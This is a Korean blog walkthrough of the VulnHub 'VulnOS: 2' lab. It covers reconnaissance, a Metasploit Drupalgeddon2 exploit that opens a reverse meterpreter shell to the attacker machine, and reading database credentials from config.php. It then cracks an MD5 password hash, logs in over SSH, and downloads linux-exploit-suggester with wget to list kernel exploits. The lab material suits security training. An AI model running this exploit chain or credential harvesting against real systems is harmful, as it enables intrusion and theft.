VULNOS: 2

Sisyphus·2023년 5월 20일
Vulnhub
0

vulnhub

목록 보기
2/2

문제

VULNOS: 2



정보 수집

netdiscover

❯ sudo netdiscover 
 Currently scanning: 192.168.130.0/16   |   Screen View: Unique Hosts                                                                    
                                                                                                                                         
 9 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 540                                                                         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.72.254  00:50:56:fa:85:69      2     120  VMware, Inc.                                                                          
 192.168.72.1    00:50:56:c0:00:08      5     300  VMware, Inc.                                                                          
 192.168.72.2    00:50:56:ea:f7:2e      1      60  VMware, Inc.                                                                          
 192.168.72.133  00:0c:29:41:25:5e      1      60  VMware, Inc.
  • 192.168.72.133 이 타겟의 IP 주소 인거 같습니다.

nmap

❯ nmap -sC -sV 192.168.72.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 21:06 KST
Nmap scan report for 192.168.72.133
Host is up (0.0019s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 f54dc8e78bc1b2119524fd0e4c3c3b3b (DSA)
|   2048 ff19337ac1eeb5d0dc6651daf06efc48 (RSA)
|   256 aed76fcced4a828be866a5117a115f86 (ECDSA)
|_  256 71bc6b7b5602a48ece1c8ea61e3a3794 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.02 seconds
  • 22 : ssh 포트가 열려있습니다.
  • 80 : http 포트가 열려있습니다.
  • 6667 : irc 포트가 열려있습니다.

Chrome

  • http://192.168.72.133/jabc/ 를 침투 테스트 하라고 합니다.


스캐닝

nikto

❯ nikto -h http://192.168.72.133/jabc/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.72.133
+ Target Hostname:    192.168.72.133
+ Target Port:        80
+ Start Time:         2023-05-20 21:18:27 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /jabc/: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.14.
+ /jabc/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /jabc/: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /jabc/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /jabc/scripts/: Directory indexing found.
+ /jabc/modules/: Directory indexing found.
+ /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /jabc/misc/: Directory indexing found.
+ /robots.txt: Entry '/misc/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /jabc/themes/: Directory indexing found.
+ /robots.txt: Entry '/themes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/scripts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/install.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /jabc/includes/: Directory indexing found.
+ /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/xmlrpc.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /jabc/profiles/: Directory indexing found.
+ /robots.txt: Entry '/profiles/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 36 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /jabc/includes/: This might be interesting.
+ /jabc/misc/: This might be interesting.
+ /jabc/install.php: Drupal install.php file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-filehttps://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /jabc/install.php: install.php file found.
+ /jabc/xmlrpc.php: xmlrpc.php was found.
+ /jabc/sites/: Directory indexing found.
+ 8947 requests: 1 error(s) and 33 item(s) reported on remote host
+ End Time:           2023-05-20 21:18:54 (GMT9) (27 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
  • Drupal 7 이 사용되고 있습니다.
  • /jabc/ 내에 여러 디렉터리가 있습니다.
  • robots.txt 파일에 여러 정보들이 있습니다.
  • Apache/2.4.7 버전을 사용하고 있는데 구버전 입니다.
  • etc ...


취약성 평가

droopescan

타겟이 사용하고 있는 Drupal 7 을 스캐닝해보면

❯ droopescan scan drupal -u http://192.168.72.133/jabc
[+] Plugins found:                                                              
    ctools http://192.168.72.133/jabc/sites/all/modules/ctools/
        http://192.168.72.133/jabc/sites/all/modules/ctools/CHANGELOG.txt
        http://192.168.72.133/jabc/sites/all/modules/ctools/LICENSE.txt
        http://192.168.72.133/jabc/sites/all/modules/ctools/API.txt
    token http://192.168.72.133/jabc/sites/all/modules/token/
        http://192.168.72.133/jabc/sites/all/modules/token/README.txt
        http://192.168.72.133/jabc/sites/all/modules/token/LICENSE.txt
    views http://192.168.72.133/jabc/sites/all/modules/views/
        http://192.168.72.133/jabc/sites/all/modules/views/README.txt
        http://192.168.72.133/jabc/sites/all/modules/views/LICENSE.txt
    libraries http://192.168.72.133/jabc/sites/all/modules/libraries/
        http://192.168.72.133/jabc/sites/all/modules/libraries/CHANGELOG.txt
        http://192.168.72.133/jabc/sites/all/modules/libraries/README.txt
        http://192.168.72.133/jabc/sites/all/modules/libraries/LICENSE.txt
    entity http://192.168.72.133/jabc/sites/all/modules/entity/
        http://192.168.72.133/jabc/sites/all/modules/entity/README.txt
        http://192.168.72.133/jabc/sites/all/modules/entity/LICENSE.txt
    ckeditor http://192.168.72.133/jabc/sites/all/modules/ckeditor/
        http://192.168.72.133/jabc/sites/all/modules/ckeditor/CHANGELOG.txt
        http://192.168.72.133/jabc/sites/all/modules/ckeditor/README.txt
        http://192.168.72.133/jabc/sites/all/modules/ckeditor/LICENSE.txt
    rules http://192.168.72.133/jabc/sites/all/modules/rules/
        http://192.168.72.133/jabc/sites/all/modules/rules/README.txt
        http://192.168.72.133/jabc/sites/all/modules/rules/LICENSE.txt
    addressfield http://192.168.72.133/jabc/sites/all/modules/addressfield/
        http://192.168.72.133/jabc/sites/all/modules/addressfield/LICENSE.txt
    plupload http://192.168.72.133/jabc/sites/all/modules/plupload/
        http://192.168.72.133/jabc/sites/all/modules/plupload/CHANGELOG.txt
        http://192.168.72.133/jabc/sites/all/modules/plupload/README.txt
        http://192.168.72.133/jabc/sites/all/modules/plupload/LICENSE.txt
    commerce http://192.168.72.133/jabc/sites/all/modules/commerce/
        http://192.168.72.133/jabc/sites/all/modules/commerce/README.txt
        http://192.168.72.133/jabc/sites/all/modules/commerce/LICENSE.txt
    profile http://192.168.72.133/jabc/modules/profile/
    php http://192.168.72.133/jabc/modules/php/
    image http://192.168.72.133/jabc/modules/image/

[+] Themes found:
    seven http://192.168.72.133/jabc/themes/seven/
    garland http://192.168.72.133/jabc/themes/garland/

[+] Possible version(s):
    7.22
    7.23
    7.24
    7.25
    7.26

[+] No interesting urls found.

[+] Scan finished (0:00:25.625145 elapsed)
  • 7.2 버전을 사용하고 있습니다.

searchsploit

Drupal 7 에서 사용 가능한 익스플로잇을 검색해보면

❯ searchsploit drupal 7
-------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                          |  Path
-------------------------------------------------------------------------------------------------------- ---------------------------------
Drupal 4.1/4.2 - Cross-Site Scripting                                                                   | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection                                                           | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution                                             | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection                                                           | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector                                                                 | php/webapps/4510.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities                                  | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                                       | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)                                        | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)                             | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)                             | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)                                | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                                                  | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                                                      | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                                                 | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution                                                   | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities                                                           | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service                                                                       | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                             | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                     | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                 | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                 | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                        | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)   | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)   | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                                          | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                                      | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                                       | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS)                                      | php/webapps/50841.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting                  | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)                                         | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                                           | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting                                 | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload                          | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Multiple Vulnerabil | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                                       | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting                                                           | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection                                                 | php/webapps/33410.txt
-------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
    Metasploit에 Drupal 7 버전에서 사용 가능한 익스플로잇이 있습니다.


익스플로잇

Metasploit

msf6 > search drupalgeddon2

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/drupal_drupalgeddon2
  • Drupalgeddon2 익스플로잇 검색

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
  • exploit/unix/webapp/drupal_drupalgeddon2 사용

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
                                           loit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.72.132   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)



View the full module info with the info, or info -d command.
  • 익스플로잇 옵션 보기

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.72.132
lhost => 192.168.72.132
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lport 4444
lport => 4444
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.72.133
rhost => 192.168.72.133
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 80
rport => 80
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /jabc
targeturi => /jabc
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.72.132:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 192.168.72.133
[*] Meterpreter session 1 opened (192.168.72.132:4444 -> 192.168.72.133:52198) at 2023-05-20 23:31:34 +0900
  • 익스플로잇

쉘 띄우기

meterpreter > shell
Process 1450 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@VulnOSv2:/var/www/html/jabc$

웹 디렉터리 내부 파일 탐색

www-data@VulnOSv2:/var/www/html/jabc$ ls
ls
authorize.php  index.php    modules     scripts    themes
cron.php       install.php  profiles    sites      update.php
includes       misc         robots.txt  templates  xmlrpc.php
www-data@VulnOSv2:/var/www/html/jabc$ cd ..
cd ..
www-data@VulnOSv2:/var/www/html$ ls
ls
index.html  jabc  jabcd0cs
www-data@VulnOSv2:/var/www/html$ cd jabcd0cs
cd jabcd0cs
www-data@VulnOSv2:/var/www/html/jabcd0cs$ ls
ls
AccessLog_class.php       class.tree              magic
COPYING                   classHeaders.php        mimetypes.php
CREDITS.txt               config-sample.php       odm-header.php
Category_class.php        config.php              odm-init.php
Department_class.php      crumb.php               odm-load.php
Dept_Perms_class.php      database.sql            out.php
Email_class.php           databaseData_class.php  plug-ins
FileData_class.php        delete.php              profile.php
FileTypes_class.php       department.php          rejects.php
File_class.php            details.php             reports
FormCheck.js              docs                    search.php
LICENSE.txt               edit.php                secureurl.class.php
Plugin_class.php          error.php               secureurl.php
README                    file_ops.php            settings.php
README.md                 filetypes.php           signup.php
Reviewer_class.php        forgot_password.php     templates
Settings_class.php        functions.archive.php   templates_c
UserPermission_class.php  functions.js            toBePublished.php
User_Perms_class.php      functions.php           udf.php
User_class.php            help.html               udf_functions.php
access_log.php            history.php             udf_help.html
add.php                   images                  uploads
admin.php                 in.php                  user.php
ajax_udf.php              includes                version.php
category.php              index.php               view.php
check-in.php              ldap.inc                view_file.php
check-out.php             linkcontrol.css
check_exp.php             logout.php
  • 웹 디렉터리에 있는 파일들을 살펴보면 config.php 파일이 있습니다.
  • config.php 파일에는 데이터베이스 연결 정보, 암호화 키, 서버 설정에 대한 중요 정보가 보관되어 있습니다.

config.php 파일을 출력해보면

www-data@VulnOSv2:/var/www/html/jabcd0cs$ cat config.php
cat config.php
<?php
/*
config.php - OpenDocMan database config file
Copyright (C) 2011 Stephen Lawrence Jr.

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
*/

// Eliminate multiple inclusion of config.php
if( !defined('config') )
{
    define('config', 'true', false);

// config.php - useful variables/functions

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for [OpenDocMan */
define('DB_NAME', 'jabcd0cs');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASS', 'toor');

/** MySQL hostname */
/* The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a 
 * local socket e.g. ":/path/to/socket" for the localhost.  */
define('DB_HOST', 'localhost');

/**
 * Prefix to append to each table name in the database (ex. odm_ would make the tables
 * named "odm_users", "odm_data" etc. Leave this set to the default if you want to keep
 * it the way it was. If you do change this to a different value, make sure it is either
 * a clean-install, or you manually go through and re-name the database tables to match.
 * @DEFAULT 'odm_'
 * @ARG String
 */
$GLOBALS['CONFIG']['db_prefix'] = 'odm_';

/*** DO NOT EDIT BELOW THIS LINE ***/



/** Absolute path to the OpenDocMan directory. */
if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');
}
  • DB NAME : jabcd0cs
  • DB USER : root
  • DB PASS : toor
  • DB HOST : localhost

MySQL

www-data@VulnOSv2:/var/www/html/jabcd0cs$ mysql -u root -p
mysql -u root -p
Enter password: toor

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 69
Server version: 5.5.47-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
  • mysql 로그인

mysql> show databases; 
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| drupal7            |
| jabcd0cs           |
| mysql              |
| performance_schema |
| phpmyadmin         |
+--------------------+
6 rows in set (0.01 sec)

mysql> USE jabcd0cs
USE jabcd0cs
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
  • DATABASE 출력
  • jabcd0cs DB 선택

mysql> SHOW TABLES; 
SHOW TABLES;
+--------------------+
| Tables_in_jabcd0cs |
+--------------------+
| odm_access_log     |
| odm_admin          |
| odm_category       |
| odm_data           |
| odm_department     |
| odm_dept_perms     |
| odm_dept_reviewer  |
| odm_filetypes      |
| odm_log            |
| odm_odmsys         |
| odm_rights         |
| odm_settings       |
| odm_udf            |
| odm_user           |
| odm_user_perms     |
+--------------------+
15 rows in set (0.00 sec)
  • 테이블 출력

mysql> SELECT * FROM odm_user;
SELECT * FROM odm_user;
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
| id | username | password                         | department | phone       | Email              | last_name | first_name | pw_reset_code |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
|  1 | webmin   | b78aae356709f8c31118ea613980954b |          2 | 5555551212  | webmin@example.com | min       | web        |               |
|  2 | guest    | 084e0343a0486ff05530df6c705c8bb4 |          2 | 555 5555555 | guest@example.com  | guest     | guest      | NULL          |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
2 rows in set (0.00 sec)
  • odm_user 테이블 조회
  • 유저명과 패스워드가 조회되었습니다.
  • 패스워드를 보면 해시함수로 암호화 되어 있습니다.

패스워드 복호화

패스워드가 어떤 해시함수로 암호화 되었는지 찾아보면

www-data@VulnOSv2:/var/www/html/jabcd0cs$ cat user.php
cat user.php
.
.
.
    if (!empty($_POST['password']))
    {
        $query .= "password = md5('". addslashes($_POST['password']) ."'), ";
    }
.
.
.

user.php 파일에서 md5 해시 함수로 패스워드를 암호화하는 것을 볼 수 있습니다.


MD5 해시값을 복호화 해보면

  • ID : webmin
  • PW : webmin1980

webmin 로그인

❯ ssh webmin@192.168.72.133
The authenticity of host '192.168.72.133 (192.168.72.133)' can't be established.
ED25519 key fingerprint is SHA256:7FO0Y5C+W/hj0ShAjGy33uQvuMRPrSNk82jGy/wxnfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.72.133' (ED25519) to the list of known hosts.
webmin@192.168.72.133's password: 
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun May 21 01:20:19 CEST 2023

  System load: 0.07              Memory usage: 1%   Processes:       137
  Usage of /:  5.8% of 29.91GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed May  4 10:41:07 2016
$ id
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)


권한 상승

쓸만한 파일 찾기

webmin 의 홈 디렉터리에 있는 파일을 살펴보면

$ ls -al 
total 596
drwxr-x--- 3 webmin webmin   4096 May 20 17:49 .
drwxr-xr-x 4 root   root     4096 Apr 16  2016 ..
-rw------- 1 webmin webmin     85 May  4  2016 .bash_history
-rw-r--r-- 1 webmin webmin    220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 webmin webmin   3637 Apr  9  2014 .bashrc
drwx------ 2 webmin webmin   4096 Apr 30  2016 .cache
-rw-rw-r-- 1 webmin webmin 579442 Apr 30  2016 post.tar.gz
-rw-r--r-- 1 webmin webmin    675 Apr  9  2014 .profile

특별한 파일이 안보입니다.


$ cd .. 
$ ls -al
total 16
drwxr-xr-x  4 root        root        4096 Apr 16  2016 .
drwxr-xr-x 21 root        root        4096 Apr  3  2016 ..
drwxr-x---  3 vulnosadmin vulnosadmin 4096 May  4  2016 vulnosadmin
drwxr-x---  3 webmin      webmin      4096 May 20 17:49 webmin
$ cd vulnosadmin
-sh: 34: cd: can't cd to vulnosadmin
  • 상위 디렉터리에 가보면 vulnosadmin 디렉터리가 있습니다.
  • vulnosadmin 디렉터리로 이동하려고 하면 에러가 발생합니다.

$ ls -l
total 8
drwxr-x--- 3 vulnosadmin vulnosadmin 4096 May  4  2016 vulnosadmin
drwxr-x--- 3 webmin      webmin      4096 May 20 17:49 webmin
  • 디렉터리의 other 권한을 봐보면 아무 권한이 없습니다.
  • 딱히 권한 상승에 쓸만한 파일이 없는거 같습니다.

커널 익스플로잇

커널 정보를 살펴보면

$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

3.13.0-24-generic 버전을 사용하고 있습니다.


OS 정보를 살펴보면

$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"
NAME="Ubuntu"
VERSION="14.04.4 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.4 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

우분트 14.04 버전을 사용하고 있습니다.


linux-exploit-suggester 로 시스템의 잠재적인 취약점을 확인해보면

❯ ls
CHANGELOG  LICENSE  linux-exploit-suggester.sh  README.md
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.72.133 - - [21/May/2023 01:23:06] "GET /linux-exploit-suggester.sh HTTP/1.1" 200 -
$ cd ~
$ mkdir tmp
$ cd tmp
$ wget http://192.168.72.132/linux-exploit-suggester.sh                                     
--2023-05-20 18:23:06--  http://192.168.72.132/linux-exploit-suggester.sh
Connecting to 192.168.72.132:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 90917 (89K) [text/x-sh]
Saving to: ‘linux-exploit-suggester.sh’

100%[================================================================================================>] 90,917      --.-K/s   in 0.001s  

2023-05-20 18:23:06 (66.9 MB/s) - ‘linux-exploit-suggester.sh’ saved [90917/90917]
$ ls
linux-exploit-suggester.sh

$ chmod +x linux-exploit-suggester.sh
$ ./linux-exploit-suggester.sh
Available information:

Kernel version: 3.13.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2015-1328] overlayfs

   Details: http://seclists.org/oss-sec/2015/q2/717
   Exposure: highly probable
   Tags: [ ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} ],ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}
   Download URL: https://www.exploit-db.com/download/37292

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: probable
   Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: probable
   Tags: [ ubuntu=14.04 ],fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
